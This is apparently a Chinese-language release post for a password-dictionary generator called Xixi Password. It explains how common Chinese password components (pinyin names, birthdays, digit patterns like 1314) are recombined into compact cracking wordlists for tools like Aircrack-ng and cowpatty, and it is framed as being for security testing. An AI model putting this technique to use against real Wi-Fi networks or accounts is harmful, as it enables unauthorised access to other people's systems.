希希密码开发之初对近四万个国人密码进行了研究，提炼出具有典型特征的密码因子这一概念，比如拼音、生日、123、888、...，希希密码做的工作就是对这些密码因子进行重新排列组合，举一反三。大多数人在选择密码时，一般是不会打散密码因子，比如wang123456，几乎不会有人刻意用w123456ang来做密码吧，因为wang是一个密码因子，123456在希希密码中作为弱口令的密码因子存在，希希密码只需1.54M就可以组合出这类密码；再比如iloveyou1314，包含这样一个中洋结合的密码只需要394K的字典，由iloveyou和1314两个密码因子组成。因为密码因子的存在，就大大简化了字典体积，却能囊括比较复杂的密码，希希密码做出的字典相当于在穷举的巨无霸字典中筛选出了具有一定意义的瘦密码字典，而使得破解长密码成为可能。同样因为密码因子的存在，所以希希密码生成的字典长度是不固定的，这也是二代字典的特点，与固定长度的一代穷举类字典相比，更容易捕获8位以上的长密码。 于是，用于安全测试的目的，这款由本人开发的，具有中国特色的密码字典粉墨登场，希望大家喜欢。 软件可能还有bug，欢迎指正，后续版本会不断改进。 提示：linux格式的字典适用于cowpatty等软件；而windows格式则适用于EWSA、Aircrack-ng GUI.exe等使用。 软件运行需要internet在线授权，授权是免费的，如果你不同意该授权方式，请不要使用。 下载：希希密码 V6.6 过期版本 V1.0 V1.1 V2.0 V2.1 V2.2 V2.3 V2.4 V3.0 V3.1 V3.2 V3.3 V4.0 保留版本 V5.0 V5.1 V5.2 V5.3 V6.0 V6.1 V6.2 V6.3 V6.5建议升级。